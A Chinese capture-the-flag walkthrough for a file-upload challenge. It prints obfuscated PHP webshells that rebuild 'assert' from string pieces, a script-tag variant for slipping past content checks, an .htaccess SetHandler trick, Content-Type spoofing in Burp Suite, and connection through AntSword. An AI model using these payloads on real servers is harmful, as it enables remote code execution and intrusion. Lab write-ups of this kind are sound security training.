目录
一、题目分析
1、判断题目类型:
2、上传不同类型的文件进行测试:
二、题目详解
1、写出.htaccess文件:
2、.htaccess 文件配合 .jpg 上传:
3、利用 中国蚁剑/中国菜刀 获取flag:
一、题目分析
1、判断题目类型:
打开靶机,进入靶场,页面如图所示:
判断题目类型为:文件上传漏洞类型。
2、上传不同类型的文件进行测试:
(1)首先上传一句话木马 test.php,代码如下:
<?php$a="a"."s";$b="s"."e"."rt";$c=$a.$b;$c($_POST['cmd']);
?>
代码中并没有写传统的一句话木马,因为直接写一句话木马需要关闭系统防火墙。
上传后页面如下图:
由此我们得知,文件后缀不可以有ph,那么php3,php5,phtml等后缀自然无法使用了。
(2)将文件后缀改为 jpg,上传后页面如下图:
由此我们得知,后端检测出我们的.jpg文件中含有php代码。
那么我们将.jpg文件中的php代码修改为 javascript 的形式,代码如下:
<script language='php'>$a = "a"."s";$b = "s"."e"."r"."t";$c = $a.$b;$c($_POST["003946ghs"]);
</script>
上传文件,返回页面如下:
我们发现上传成功,接下来只需要能够解析.jpg文件中的php代码就OK了。
解析.jpg文件中的php代码,我们可以使用.htaccess文件来进行实现。
二、题目详解
1、写出.htaccess文件:
新建一个名为 .htaccess 文件,并使用 VS / 记事本打开。
写入以下代码:
SetHandler application/x-httpd-php
这条命令可以解析所有后缀文件中的 php 代码。
2、.htaccess 文件配合 .jpg 上传:
先上传 .htaccess 文件,响应页面如下:
由此我们得知,后端代码对文件类型--Content-type有限制。
所以我们在上传 .htaccess 文件的同时,利用Burpsuite进行抓包,修改 Content-type为image/jpeg。
抓包界面如下:
发包上传,响应界面如下:
页面提示我们上传成功 (.htaccess successfully uploaded)。
.htaccess 文件上传成功后,我们上传 .jpg 文件,响应界面如下:
页面提示我们也上传成功 (.htaccess successfully uploaded)。
且通过页面回显信息,我们可以拼接出网址,如下:
3、利用 中国蚁剑/中国菜刀 获取flag:
打开蚁剑,添加数据,将我们方才拼接好的网址复制过来,并输入一句话木马连接密码,编码器选择 base64,界面如下:
测试连接,发现连接成功:
添加数据,打开,在根目录下找到flag:
拿到flag值:
提交--正确。